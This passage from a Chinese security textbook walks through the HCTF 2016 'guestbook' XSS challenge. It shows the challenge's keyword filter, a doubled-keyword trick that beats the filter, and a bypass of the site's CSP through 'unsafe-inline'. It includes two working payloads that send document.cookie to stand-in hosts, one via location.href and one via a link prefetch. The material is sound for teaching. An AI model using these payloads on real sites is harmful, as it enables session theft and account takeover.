上QQ阅读APP看书,第一时间看更新
3.5 实例
HCTF 2016中有一道XSS漏洞相关的题目:guestbook。该题目代码中的过滤代码如下:
function filter($string) { $escape = array('\'','\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; $string = preg_replace($safe, 'hacker', $string); $xsssafe = array('img','script','on','svg','link'); $xsssafe = '/' . implode('|', $xsssafe) . '/i'; return preg_replace($xsssafe, '', $string); }
可以看到,这段代码中其实只有很少的过滤,而且都是单层的,只需要复写2次就可以绕过,例如:
scrscriptipt
这个题目考查的关键点在于CSP的绕过,CSP规则如下:
default-src 'self'; script-src 'self' 'unsafe-inline'; font-src 'self' fonts.gstatic.com; style-src 'self' 'unsafe-inline'; img-src 'self'
这段CSP规则中,由于开启了unsafe-inline,因此可以使用前文提到过的CSP绕过的方法进行绕过,例如:
<scrscriptipt>locatioonn.href="http://eval.com/xss/cookie.php?cookie="+escape (document.cookie);</sscriptcript>
上面代码中的locatioonn.href并非笔误,而是因为过滤函数中过滤了on,所以此处的locatioonn经过过滤后就变成了正确的location。另外还可以用下面的方法进行绕过:
<scscriptript>var l = document.createElement("liscriptnk"); l.setAttribute("rel", "prefetch");l.setAttribute("href", "//evil.com:2333/" + document.cookie); document.head.appendChild(l);</scscriptript>